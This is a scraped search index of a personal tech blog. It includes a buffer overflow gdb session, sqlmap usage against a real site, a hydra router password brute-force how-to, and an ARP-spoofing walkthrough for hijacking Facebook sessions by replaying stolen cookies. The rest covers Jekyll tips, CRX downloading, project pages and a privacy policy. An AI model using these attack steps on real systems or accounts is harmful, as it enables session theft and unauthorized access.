0x2b\t43 ds 0x0\t0 es 0x0\t0 fs 0x0\t0 x32\nmadhur@bt:~/buffer$ gdb buffer1 GNU gdb (GDB) 7.1-ubuntu Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;x86_64-linux-gnu\u0026#34;. For bug reporting instructions, please see: \u0026lt;http://www.gnu.org/software/gdb/bugs/\u0026gt;... Reading symbols from /home/madhur/buffer/buffer1...done. (gdb) run $(python -c \u0026#39;print \u0026#34;\\x41\u0026#34; * 1500\u0026#39;) Starting program: /home/madhur/buffer/buffer1 $(python -c \u0026#39;print \u0026#34;\\x41\u0026#34; * 1500\u0026#39;) warning: the debug information found in \u0026#34;/lib/ld-2.11.1.so\u0026#34; does not match \u0026#34;/lib/ld-linux.so.2\u0026#34; (CRC mismatch). Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info registers eax 0x0\t0 ecx 0x0\t0 edx 0x5dd\t1501 ebx 0xf7fbdff4\t-134488076 esp 0xffffcf80\t0xffffcf80 ebp 0x41414141\t0x41414141 esi 0x0\t0 edi 0x0\t0 eip 0x41414141\t0x41414141 eflags 0x10246\t[ PF ZF IF RF ] cs 0x23\t35 ss 0x2b\t43 ds 0x2b\t43 es 0x2b\t43 fs 0x0\t0 gs 0x63\t99 (gdb) As you can see in the outputs above, there is no EIP register in x64 version of program. And in the x32 version, the EIP value is correctly corrupted with our overflowed value of x41.\n","permalink":"https://madhur.co.in/blog/2011/08/04/exploitdevlinux.html","summary":"\u003cp\u003eIf you are learning buffer overflow exploit development on Linux x64 machine, then there are something which you need to take care of.\u003c/p\u003e\n\u003cp\u003eThis is because architecture and execution of programs in x64 machine model is completely different from x32 machine model.\u003c/p\u003e\n\u003cp\u003eFor a reference to stack frame in x64, refer to this \u003ca href=\"http://analyze-v.com/?p=468\"\u003elink\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eConsider this C program and I will demonstrate the effect of compiling this program for x32 and x64.\u003c/p\u003e","title":"Classic Buffer overflow exploits on Linux x64"},{"content":"There are many kinds of web application vulnerabilities which an attacker can exploit. Some of them common are SQL Injection, XSS. Let\u0026rsquo;s look at the tools which are available to detect these vulnerabilities in an application.\nSql Injection Sqlmap is a SQL Injection vulnerability scanner. You can give an Url input for example, http://www.salk.edu/events/index.php?id=150 to it and it will try to find out if the Url is susceptible to SQL injection attacks. For ex:\n./sqlmap.py -u http://www.salk.edu/events/index.php?id=150 Sqlmap takes different parameters for example, -D , -T, \u0026ndash;dump to dump out different tables, databases and information within the databases.\nCross Site Request Forgery\nRemote command Execution\nRemote file inclusion\nCross Site Scripting (XSS)\n","permalink":"https://madhur.co.in/blog/2011/07/26/explorwebappsecurity.html","summary":"\u003cp\u003eThere are many kinds of web application vulnerabilities which an attacker can exploit. Some of them common are SQL Injection, XSS. Let\u0026rsquo;s look at the tools which are available to detect these vulnerabilities in an application.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003cstrong\u003eSql Injection\u003c/strong\u003e\u003c/em\u003e\nSqlmap is a SQL Injection vulnerability scanner. You can give an Url input for example, \u003ca href=\"http://www.salk.edu/events/index.php?id=150\"\u003ehttp://www.salk.edu/events/index.php?id=150\u003c/a\u003e  to it and it will try to find out if the Url is susceptible to SQL injection attacks. For ex:\u003c/p\u003e","title":"Exploring Web Application vulnerabilities"},{"content":"Hydra is a popular password cracker which can be used to crack passwords from various services such as http, ftp, telnet etc.\nMost of our internet is routed through a router which has a http interface. If you are using web browser, try typing 192.168.0.1 or 192.168.1.1 in the web browser and see if the authentication prompt is issues. If yes, it is prompted most probably from your router. Router web interface is useful to configure port forwarding for torrents or if you want to play multiplayer online games such as AOE etc. If you do not know the password of your router, hacking using hydra can be fun and easy.\nFor example, if my router web interface is on 192.168.0.1, the simple command will be\nhydra -l admin -P password.lst 192.168.1.1 http-get -m / Here password.lst is the password list which contains the list of passwords to be bruteforced. admin is the username we will be trying for. The usernames can also be bruteforced with -L option.\n","permalink":"https://madhur.co.in/blog/2011/07/25/hackrouterpassword.html","summary":"\u003cp\u003e\u003ca href=\"http://thc.org/thc-hydra/\"\u003eHydra\u003c/a\u003e is a popular password cracker which can be used to crack passwords from various services such as http, ftp, telnet etc.\u003c/p\u003e\n\u003cp\u003eMost of our internet is routed through a router which has a http interface. If you are using web browser, try typing 192.168.0.1 or 192.168.1.1 in the web browser\nand see if the authentication prompt is issues. If yes, it is prompted most probably from your router. Router web interface is useful to configure port forwarding for torrents\nor if you want to play multiplayer online games such as AOE etc. If you do not know the password of your router, hacking using hydra can be fun and easy.\u003c/p\u003e","title":"Hacking Router password using Hydra"},{"content":" Nmap Wireshark Ettercap dSniff Arpspoof NetCat EtherApe ","permalink":"https://madhur.co.in/blog/2011/06/22/topsecuritytools.html","summary":"\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://nmap.org\"\u003eNmap\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://wireshark.org\"\u003eWireshark\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://ettercap.sourceforge.net\"\u003eEttercap\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://monkey.org/~dugsong/dsniff/\"\u003edSniff\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://arpspoof.sourceforge.net/\"\u003eArpspoof\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://netcat.sourceforge.net/\"\u003eNetCat\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://etherape.sourceforge.net/\"\u003eEtherApe\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","title":"My Top Network Security Tools"},{"content":"Recently, there was a vulnerability discovered in popular professional networking site LinkedIn in which an attacker could steal an authentication cookie used by the site to authenticate the client. It was a classic case of Session sidejacking, which is desribed by Wikipedia as\nwhere the attacker uses packet sniffing to read network traffic between two parties to steal the session cookie. Many web sites use SSL encryption for login pages \u0026gt; to prevent attackers from seeing the password, but do not use encryption for the rest of the site once authenticated. This allows attackers that can read the \u0026gt; network traffic to intercept all the data that is submitted to the server or web pages viewed by the client. Since this data includes the session cookie, it allows \u0026gt; him to impersonate the victim, even if the password itself is not compromised. Unsecured Wi-Fi hotspots are particularly vulnerable, as anyone sharing the network \u0026gt; will generally be able to read most of the web traffic between other nodes and the access point.\nOne of the basic solution implemented by the web sites for this problem is SSL. Almost all of the web sites use SSL during the authentication phase to encrypt the cookie data which is transmitted on the network. However, this is only a partial solution to the problem since most of the clients transmit this cookie data during further HTTP POST and GET requests. This is the reason many websites such as Gmail, Facebook have an option to turn on SSL for the entire session, because they know that sensitive bytes are being transmitted all the time even if the user has authenticated. Let us see how a user\u0026rsquo;s security can be compromised if he has not turned on full SSL settings for these web sites such as Facebook. Consider a home LAN network where users are using WiFi hotspots to browse the internet. Its easy to set up a MITM attack on this network by spoofing the ARP. For example, on linux, it can be done using Ettercap or Arpspoof\necho 1 \u0026gt; /proc/sys/net/ipv4/ip_forward arpspoof -t \u0026#34;target ip(person to own)\u0026#34; \u0026#34;gateway ip(router)\u0026#34; Use any packet sniffer such as Wireshark to sniff the packets between the target IP and the host www.facebook.com. The following is an example of a POST request sniffed from wireshark:\nFrom this screen, we are mainly interested in grabbing the cookies, which are specified in this header\nCookie: datr=09bXXXQ2oOgQuUK0yAzK_JU9; lu=wgj9pmpkAsdXXXTp5vthfh2w; locale=en_US; L=2; act=13078123502562F3; c_user=xxxxxx; sct=1123416461; xs=603Afe43db8a71239bd8d7b2a831xxx6241f; presence=EM307818375L26REp_5f123422481F22X3078XXX1367K1H0V0Z21G307818375PEuoFD769839560FDexpF1307818409174EflF_5b_5dEolF-1CCCC; e=n In my proof of concept, I was just required to copy the xs and c_user cookies to hijack the target session. c_user is the user ID of the user which is not at all a secret. However, xs does seems to be the authentication token and which should not be passed around in cleartext.\nc_user:xxxxxx xs:603Afe43db8a71239bd8d7b2a831aad6241f Since now we have the cookies and one of it is indeed an authentication cookie. We can plug this in browser manually or using a Chrome extension such as Edit this Cookie\nOnce the values are plugged, browse to http://www.facebook.com , you would have intercepted the target user session.\nThis post is just for educational purposes regarding the implications of using unencrypted communication. I am not responsible for any damage or harm done using any knowledge contained in this article\n","permalink":"https://madhur.co.in/blog/2011/06/12/facebooksessionhijacking.html","summary":"\u003cp\u003eRecently, there was a \u003ca href=\"http://www.wtfuzz.com/blogs/linkedin-ssl-cookie-vulnerability/\"\u003evulnerability\u003c/a\u003e discovered in popular professional networking site \u003ca href=\"http://www.linkedin.com\"\u003eLinkedIn\u003c/a\u003e in which an attacker could steal an authentication cookie used by the site to authenticate the client. It was a classic case of Session sidejacking, which is desribed by \u003ca href=\"http://en.wikipedia.org/wiki/Session_hijacking\"\u003eWikipedia\u003c/a\u003e as\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003ewhere the attacker uses packet sniffing to read network traffic between two parties to steal the session cookie. Many web sites use SSL encryption for login pages  \u0026gt; to prevent attackers from seeing the password, but do not use encryption for the rest of the site once authenticated. This allows attackers that can read the       \u0026gt; network traffic to intercept all the data that is submitted to the server or web pages viewed by the client. Since this data includes the session cookie, it allows \u0026gt; him to impersonate the victim, even if the password itself is not compromised. Unsecured Wi-Fi hotspots are particularly vulnerable, as anyone sharing the network  \u0026gt; will generally be able to read most of the web traffic between other nodes and the access point.\u003c/p\u003e","title":"Facebook Vulnerability - Session sidejacking"},{"content":"I am a regular reader of Jekyll Google group and of late I am seeing lot of queries from users on how to create Tag cloud or list of categories in Jekyll without any coding. Many members in past have done it by creating plugins and code in Ruby, such as this one. Ofcourse creating such an awesome Tag cloud requires code and effort.\nHowever, if you are looking me who doesn\u0026rsquo;t know Ruby and doesn\u0026rsquo;t have time to code, you can get it done with simple lines of Liqud code.\nFor example, to create list of categories in Jekyll, use the following code\n{% if article.previous? %} {% for category in site.categories %} \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;/categories/{{ category[0] }}.html\u0026#34;\u0026gt;{{ category[0] }}\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; { % endfor %} Similarly, this nested loop code will give you a categories page, assuming that {page.title} contains the name of the category.\n{% for post in site.categories[page.title] % } \u0026lt;div class=\u0026#34;postmeta extract\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;timestamp\u0026#34;\u0026gt; {{ post.date }} \u0026lt;br/\u0026gt; \u0026lt;span class=\u0026#34;time\u0026#34;\u0026gt;{{ post.time }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;post extract\u0026#34;\u0026gt; \u0026lt;h3\u0026gt;\u0026lt;a href=\u0026#34;{{ post.url }}\u0026#34;\u0026gt;{{ post.title }}\u0026lt;/a\u0026gt;\u0026lt;/h3\u0026gt; \u0026lt;p\u0026gt;{{ post.content | strip_html | truncatewords:80 }}\u0026lt;/p\u0026gt; \u0026lt;div class=\u0026#34;blocked tags\u0026#34;\u0026gt; \u0026lt;p\u0026gt; {% for tag in post.categories % } \u0026lt;a href=\u0026#34;/categories/{{ tag}}.html\u0026#34;\u0026gt;{{ tag }}\u0026lt;/a\u0026gt; , {% endfor %} \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;hr\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;c\u0026#34;\u0026gt;\u0026amp;nbsp;\u0026lt;/div\u0026gt; {% endfor %} ","permalink":"https://madhur.co.in/blog/2011/06/11/tagcloudjekyll.html","summary":"\u003cp\u003eI am a regular reader of \u003ca href=\"https://groups.google.com/forum/?hl=en#!forum/jekyll-rb\"\u003eJekyll Google group\u003c/a\u003e and of late I am seeing lot of queries from users on how to create Tag cloud or list of categories in Jekyll without any coding. Many members in past have done it by creating plugins and code in Ruby, such as \u003ca href=\"http://nova-fusion.com/blog/\"\u003ethis one\u003c/a\u003e. Ofcourse creating such an awesome Tag cloud requires code and effort.\u003c/p\u003e\n\u003cp\u003eHowever, if you are looking me who doesn\u0026rsquo;t know Ruby and doesn\u0026rsquo;t have time to code, you can get it done with simple lines of \u003ca href=\"http://www.liquidmarkup.org/\"\u003eLiqud code\u003c/a\u003e.\u003c/p\u003e","title":"Creating Tag cloud of Categories in Jekyll"},{"content":"Currently Github is an emerging and exciting platform for development. For those who don\u0026rsquo;t know what Github is, here is the definition straight from wikipedia\nGitHub is a web-based hosting service for software development projects that use the Git revision control system\nGit is a distributed revision control system created by none other than Linus Torvalds. The beauty of Git lies in its distributed nature which is different from other traditional revision control systems. Git gives each developer a local copy of the entire development history, and changes are copied from one such repository to another. These changes are imported as additional development branches, and can be merged in the same way as a locally developed branch. The distributed nature of Git also requires that code by merged much often that other systems and for that reason much of the implementation of Git has is in C programming language. In this video of Linus Torvalds at Google, he talks about how easy it is to merge thousands of lines of code in Git.\nt Coming back to Github, it provides social networking functionality such as feeds, followers and the network graph to display how developers work on their versions of a repository. Users can also create wikis for individual repositories and static web pages which can served by static web site generator Jekyll. Infact the source of the site you are viewing right now is hosted on Github repository.\n","permalink":"https://madhur.co.in/blog/2011/06/11/githubplatform.html","summary":"\u003cp\u003eCurrently \u003ca href=\"http://github.com\"\u003eGithub\u003c/a\u003e is an emerging and exciting platform for development. For those who don\u0026rsquo;t know what Github is, here is the definition straight from \u003ca href=\"http://wikipedia.com\"\u003ewikipedia\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cem\u003eGitHub is a web-based hosting service for software development projects that use the Git revision control system\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003eGit is a \u003cstrong\u003edistributed\u003c/strong\u003e revision control system created by none other than Linus Torvalds. The beauty of Git lies in its distributed nature which is different from other traditional revision control systems. Git gives each developer a local copy of the entire development history, and changes are copied from one such repository to another. These changes are imported as additional development branches, and can be merged in the same way as a locally developed branch. The distributed nature of Git also requires that code by merged much often that other systems and for that reason much of the implementation of Git has is in C programming language. In this video of Linus Torvalds at Google, he talks about how easy it is to merge thousands of lines of code in Git.\u003c/p\u003e","title":"Github as a development platform"},{"content":"Google chrome extensions are basically zip files with .crx extension. As mentioned in this post by Google, the chrome extensions can be opened by simply zip programs such as 7zip or Winzip.\nThis is easy when you have direct access to the .crx file. However, most of the Google chrome extensions on its website do not have the link to the .crx file exposed. There are some wierd ways to grab the CRX file as mentioned here, however this might or might not work.\nFirst Method Google actualy stores all the CRX files in a secure location which is accessed through SSL connection by a javascript function located on the Install button. If we do an inspect element over the Install button, we can see a call to the function\nonclick=\u0026#34;cxBuyFlow.installItem (\u0026#39;emailaddress\u0026#39;); This javascript function makes a remote call to download the CRX file over the HTTP SSL connection. As see in this image\nFrom the dev tools itself, we can see the location of CRX file, which is given as:\nhttps://clients2.googleusercontent.com/crx/download/OQAAABjsL_XrywSJJgbO4iAqQN_92ggziQyqudDAep70GniUAqlNUxYhj289n5H0ljizk9d6MeMuV59czHo6y6dk_YAAxlKa5dxpPBSCnNDQ5ZAz5TwR5AAeY5yy/extension_1_6.crx\nTo simple download this file, we can use wget as\nwget https://clients2.googleusercontent.com/crx/download/OQAAABjsL_XrywSJJgbO4iAqQN_92ggziQyqudDAep70GniUAqlNUxYhj289n5H0ljizk9d6MeMuV59czHo6y6dk_YAAxlKa5dxpPBSCnNDQ5ZAz5TwR5AAeY5yy/extension_1_6.crx Update: There is second method as well. See below. Credit goes to http://blog.gerardin.info/archives/763 Find the ID of the extension you\u0026rsquo;re interested in. When on the details page of the extension, it will be something like \u0026ldquo;bfbmjmiodbnnpllbbbfblcplfjjepjdn\u0026rdquo; after \u0026ldquo;https://chrome.google.com/extensions/detail/\u0026quot; in the page URL Paste this URL into your browser: \u0026ldquo;https://clients2.google.com/service/update2/crx?response=redirect\u0026amp;x=id%3D____%26uc\u0026quot; replacing ____ with the extension ID. You\u0026rsquo;ll be prompted to save a CRX file. Drag this file to a Chrome window and proceed with installation ","permalink":"https://madhur.co.in/blog/2011/06/03/reverseengineerchrome.html","summary":"\u003cp\u003eGoogle chrome extensions are basically zip files with .crx extension. As mentioned in this \u003ca href=\"http://www.google.com/support/forum/p/Chrome/thread?tid=7ead9bcf1528fbe3\u0026amp;hl=en\"\u003epost\u003c/a\u003e by Google, the chrome extensions can be opened by simply zip programs such as 7zip or Winzip.\u003c/p\u003e\n\u003cp\u003eThis is easy when you have direct access to the .crx file. However, most of the Google chrome extensions on its website do not have the link to the .crx file exposed.\nThere are some wierd ways to grab the CRX file as mentioned \u003ca href=\"http://www.google.com/support/forum/p/Chrome/thread?tid=76ac2782e7f28bd4\u0026amp;hl=en\"\u003ehere\u003c/a\u003e, however this might or might not work.\u003c/p\u003e","title":"Reverse engineering Google chrome extensions"},{"content":"I developed this site as a part of Tusitala Web Developer challenge 2014 hosted by Ideatory\nThe site is deployed on heroku cloud. Check out this site at http://bookmart.herokuapp.com\nDeveloped in PHP and MYSQL. Mobile first design using Twitter Bootstrap framework Supports social login (Google, Facebook \u0026amp; Twitter) Utilizes an open source module to render epub on browser ","permalink":"https://madhur.co.in/projects/bookmart/","summary":"\u003cp\u003eI developed this site as a part of Tusitala Web Developer challenge 2014 hosted by Ideatory\u003c/p\u003e\n\u003cp\u003eThe site is deployed on heroku cloud. Check out this site at \u003ca href=\"http://bookmart.herokuapp.com\"\u003ehttp://bookmart.herokuapp.com\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDeveloped in PHP and MYSQL.\u003c/li\u003e\n\u003cli\u003eMobile first design using Twitter Bootstrap framework\u003c/li\u003e\n\u003cli\u003eSupports social login (Google, Facebook \u0026amp; Twitter)\u003c/li\u003e\n\u003cli\u003eUtilizes an open source module to render epub on browser\u003c/li\u003e\n\u003c/ul\u003e","title":"Bookmart"},{"content":"DashAnalytics for DashClock DashAnalytics is an extension for DashClock Widget\nDashAnalytics displays the metrics from your Google Analytics Website or App profile. Very useful to track on regular basis metrics such as Daily Visitors, visits, new visits for your Website or Mobile application.\nWebSite Metrics Displayed Visitors Visits Percentage new visits New visits Mobile App Metrics Displayed Visitors Visits Percentage new visits New visits Have a bug report or feature request? Just find the issue or file a new one here\n","permalink":"https://madhur.co.in/projects/dashanalytics/","summary":"\u003ch2 id=\"dashanalytics-for-dashclock\"\u003eDashAnalytics for DashClock\u003c/h2\u003e\n\u003cp\u003eDashAnalytics is an extension for \u003ca href=\"https://play.google.com/store/apps/details?id=net.nurik.roman.dashclock\"\u003eDashClock Widget\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eDashAnalytics displays the metrics from your \u003ca href=\"http://www.google.co.in/analytics/\"\u003eGoogle Analytics\u003c/a\u003e Website or App profile. Very useful to track on regular basis metrics such as Daily Visitors, visits, new visits for your Website or Mobile application.\u003c/p\u003e\n\u003ch2 id=\"website-metrics-displayed\"\u003eWebSite Metrics Displayed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eVisitors\u003c/li\u003e\n\u003cli\u003eVisits\u003c/li\u003e\n\u003cli\u003ePercentage new visits\u003c/li\u003e\n\u003cli\u003eNew visits\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"mobile-app-metrics-displayed\"\u003eMobile App Metrics Displayed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eVisitors\u003c/li\u003e\n\u003cli\u003eVisits\u003c/li\u003e\n\u003cli\u003ePercentage new visits\u003c/li\u003e\n\u003cli\u003eNew visits\u003c/li\u003e\n\u003c/ul\u003e\n\u003ca href=\"https://play.google.com/store/apps/details?id=in.co.madhur.ganalyticsdashclock\"\u003e\n  \u003cimg alt=\"Get it on Google Play\"\n       src=\"/images/Get_it_on_Google_play.svg\" /\u003e\n\u003c/a\u003e\n\u003cp\u003eHave a bug report or feature request? Just find the issue or file a new one \u003ca href=\"https://github.com/madhur/GAnalytics/issues\"\u003ehere\u003c/a\u003e\u003c/p\u003e","title":"DashAnalytics"},{"content":"Feed Notifier Feed notifier is a simple, highly customizable and an intuitive notifier for your favorite unread articles in Feedly.\nFeatures:\nNotification per feed or category Dashclock Extension Widget Please visit the Feed Notifier github page for more information. Also make sure to log your issues/feature requests to the Github issue log\n","permalink":"https://madhur.co.in/projects/feed-notifier/","summary":"\u003ch2 id=\"feed-notifier\"\u003eFeed Notifier\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"!https://raw.githubusercontent.com/madhur/dashclock-feedly-extension/develop/res/drawable-xhdpi/ic_launcher.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eFeed notifier is a simple, highly customizable and an intuitive notifier for your favorite unread articles in Feedly.\u003c/p\u003e\n\u003cp\u003eFeatures:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNotification per feed or category\u003c/li\u003e\n\u003cli\u003eDashclock Extension\u003c/li\u003e\n\u003cli\u003eWidget\u003c/li\u003e\n\u003c/ul\u003e\n\u003ca href=\"https://play.google.com/store/apps/details?id=in.co.madhur.dashclockfeedlyextension\"\u003e\n  \u003cimg alt=\"Get it on Google Play\"\n       src=\"/images/Get_it_on_Google_play.svg\" /\u003e\n\u003c/a\u003e\n\u003cp\u003ePlease visit the \u003ca href=\"https://github.com/madhur/dashclock-feedly-extension\"\u003eFeed Notifier\u003c/a\u003e github page for more information. Also make sure to log your issues/feature requests to the \u003ca href=\"https://github.com/madhur/dashclock-feedly-extension/issues?state=open\"\u003eGithub issue log\u003c/a\u003e\u003c/p\u003e","title":"Feed notifier"},{"content":"A Chrome extension for viewing Goodreads Reviews while on Flipkart\nPlease visit the Goodreads Flipkart Chrome Extension github page for more information. Also make sure to log your issues/feature requests to the Github issue log\n","permalink":"https://madhur.co.in/projects/goodreads-chrome-flipkart/","summary":"\u003cp\u003eA Chrome extension for viewing Goodreads Reviews while on Flipkart\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.producthunt.com/posts/goodreads-for-flipkart?utm_source=badge-featured\u0026utm_medium=badge\u0026utm_souce=badge-goodreads-for-flipkart\" target=\"_blank\"\u003e\u003cimg src=\"https://api.producthunt.com/widgets/embed-image/v1/featured.svg?post_id=167633\u0026theme=dark\" alt=\"Goodreads for Flipkart - Access Goodreads reviews below Flipkart's book description | Product Hunt\" style=\"width: 250px; height: 54px;\" width=\"250\" height=\"54\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ePlease visit the \u003ca href=\"https://github.com/madhur/Goodreads-flipkart-chrome\"\u003eGoodreads Flipkart Chrome Extension\u003c/a\u003e github page for more information. Also make sure to log your issues/feature requests to the \u003ca href=\"https://github.com/madhur/Goodreads-flipkart-chrome/issues?state=open\"\u003eGithub issue log\u003c/a\u003e\u003c/p\u003e","title":"Goodreads Flipkart Chrome Extension"},{"content":"","permalink":"https://madhur.co.in/projects/hermes/","summary":"","title":"Hermes"},{"content":"This extension adds the Format button to the LeetCode code editor. Currently supported programming languages are Java, JavaScript and TypeScript.\nAvailable for both Google Chrome and Firefox.\nDownload here for Firefox Download here for Chrome\n","permalink":"https://madhur.co.in/projects/leetcode-format/","summary":"\u003cp\u003eThis extension adds the Format button to the LeetCode code editor. Currently supported programming languages are Java, JavaScript and TypeScript.\u003c/p\u003e\n\u003cp\u003eAvailable for both Google Chrome and Firefox.\u003c/p\u003e\n\u003ciframe style=\"border: none;\" src=\"https://cards.producthunt.com/cards/posts/279437?v=1\" width=\"500\" height=\"405\" frameborder=\"0\" scrolling=\"no\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003cp\u003e\u003ca href=\"https://addons.mozilla.org/en-US/firefox/addon/leetcode-format/\"\u003eDownload here for Firefox\u003c/a\u003e\n\u003ca href=\"https://chrome.google.com/webstore/detail/leetcode-format/imogghebhifnnlgogigikjecilkicfpp?hl=en\"\u003eDownload here for Chrome\u003c/a\u003e\u003c/p\u003e","title":"LeetCode Format Extension"},{"content":"These are some of the legacy projects which I had worked on. I am not actively maintaining them right now.\n","permalink":"https://madhur.co.in/projects/old/","summary":"\u003cp\u003eThese are some of the legacy projects which I had worked on. I am not actively\nmaintaining them right now.\u003c/p\u003e","title":"Legacy Projects"},{"content":"This current site built with Jekyll is a project in itself. It has come a long way since I started in this 2011.\nSome of the unique features of this site are:\nMobile first design using Twitter Bootstrap framework Static site integration with Jekyll Integration with Disqus Integration with Gibhub API to pull commits and issues using Octokit Syntax highlighting with Pygments Integration with Fancybox Scalebable CSS icons from FontAwesome Site and source code hosting on github Custom Tag Cloud Plugin This site is heavily inspired and borrows some of the plugins and designs from:\nCarl Boettiger Damien du Toit Bilal Syed Hussain ActionBarSherlock ","permalink":"https://madhur.co.in/projects/madhur-co-in/","summary":"\u003cp\u003eThis current site built with \u003ca href=\"http://jekyllrb.com\"\u003eJekyll\u003c/a\u003e is a project in itself. It has come a long way since I started in this 2011.\u003c/p\u003e\n\u003cp\u003eSome of the unique features of this site are:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eMobile first design using \u003ca href=\"http://getbootstrap.com/\"\u003eTwitter Bootstrap framework\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eStatic site integration with \u003ca href=\"http://jekyllrb.com\"\u003eJekyll\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIntegration with \u003ca href=\"http://disqus.com/\"\u003eDisqus\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIntegration with Gibhub API to pull commits and issues using \u003ca href=\"https://github.com/octokit/octokit.rb\"\u003eOctokit\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSyntax highlighting with \u003ca href=\"http://pygments.org/\"\u003ePygments\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIntegration with \u003ca href=\"http://fancyapps.com/fancybox/\"\u003eFancybox\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eScalebable CSS icons from \u003ca href=\"http://fortawesome.github.com/Font-Awesome\"\u003eFontAwesome\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSite and source code hosting on \u003ca href=\"http://github.com\"\u003egithub\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCustom Tag Cloud Plugin\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis site is heavily inspired and borrows some of the plugins and designs from:\u003c/p\u003e","title":"madhur.co.in"},{"content":"A simple tool to change webpart property in MySite for all users automatically without going manually and change it one by one for each user.\n","permalink":"https://madhur.co.in/projects/my-site-webpart-property-changer/","summary":"\u003cp\u003eA simple tool to change webpart property in MySite for all users automatically without going manually and change it one by one for each user.\u003c/p\u003e","title":"My Site WebPart Property Changer"},{"content":"An app to track your Mac HDD Usage\nPlease visit the OSX Hdd Usage github page for more information. Also make sure to log your issues/feature requests to the Github issue log\n","permalink":"https://madhur.co.in/projects/osx-hdd-usage/","summary":"\u003cp\u003eAn app to track your Mac HDD Usage\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.producthunt.com/posts/hdd-usage?utm_source=badge-featured\u0026utm_medium=badge\u0026utm_souce=badge-hdd-usage\" target=\"_blank\"\u003e\u003cimg src=\"https://api.producthunt.com/widgets/embed-image/v1/featured.svg?post_id=170230\u0026theme=dark\" alt=\"HDD Usage - HDD Usage shows the utilization of your HDD in Mac Menu bar | Product Hunt\" style=\"width: 250px; height: 54px;\" width=\"250\" height=\"54\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ePlease visit the \u003ca href=\"https://github.com/madhur/hdd-usage-electron\"\u003eOSX Hdd Usage\u003c/a\u003e github page for more information. Also make sure to log your issues/feature requests to the \u003ca href=\"https://github.com/madhur/hdd-usage-electron/issues?state=open\"\u003eGithub issue log\u003c/a\u003e\u003c/p\u003e","title":"OSX Hdd Usage"},{"content":"Privacy Policy - HDD Usage Madhur Ahuja built the HDD Usage app as an Open Source app. This SERVICE is provided by Madhur Ahuja at no cost and is intended for use as is.\nThis page is used to inform visitors regarding my policies with the collection, use, and disclosure of Personal Information if anyone decided to use my Service.\nIf you choose to use my Service, then you agree to the collection and use of information in relation to this policy. The Personal Information that I collect is used for providing and improving the Service. I will not use or share your information with anyone except as described in this Privacy Policy.\nThe terms used in this Privacy Policy have the same meanings as in our Terms and Conditions, which is accessible at HDD Usage unless otherwise defined in this Privacy Policy.\nInformation Collection and Use\nFor a better experience, while using our Service, I may require you to provide us with certain personally identifiable information. The information that I request will be retained on your device and is not collected by me in any way.\nThe app does use third party services that may collect information used to identify you.\nLink to privacy policy of third party service providers used by the app\nLog Data\nI want to inform you that whenever you use my Service, in a case of an error in the app I collect data and information (through third party products) on your phone called Log Data. This Log Data may include information such as your device Internet Protocol (“IP”) address, device name, operating system version, the configuration of the app when utilizing my Service, the time and date of your use of the Service, and other statistics.\nCookies\nCookies are files with a small amount of data that are commonly used as anonymous unique identifiers. These are sent to your browser from the websites that you visit and are stored on your device\u0026rsquo;s internal memory.\nThis Service does not use these “cookies” explicitly. However, the app may use third party code and libraries that use “cookies” to collect information and improve their services. You have the option to either accept or refuse these cookies and know when a cookie is being sent to your device. If you choose to refuse our cookies, you may not be able to use some portions of this Service.\nService Providers\nI may employ third-party companies and individuals due to the following reasons:\nTo facilitate our Service; To provide the Service on our behalf; To perform Service-related services; or To assist us in analyzing how our Service is used. I want to inform users of this Service that these third parties have access to your Personal Information. The reason is to perform the tasks assigned to them on our behalf. However, they are obligated not to disclose or use the information for any other purpose.\nSecurity\nI value your trust in providing us your Personal Information, thus we are striving to use commercially acceptable means 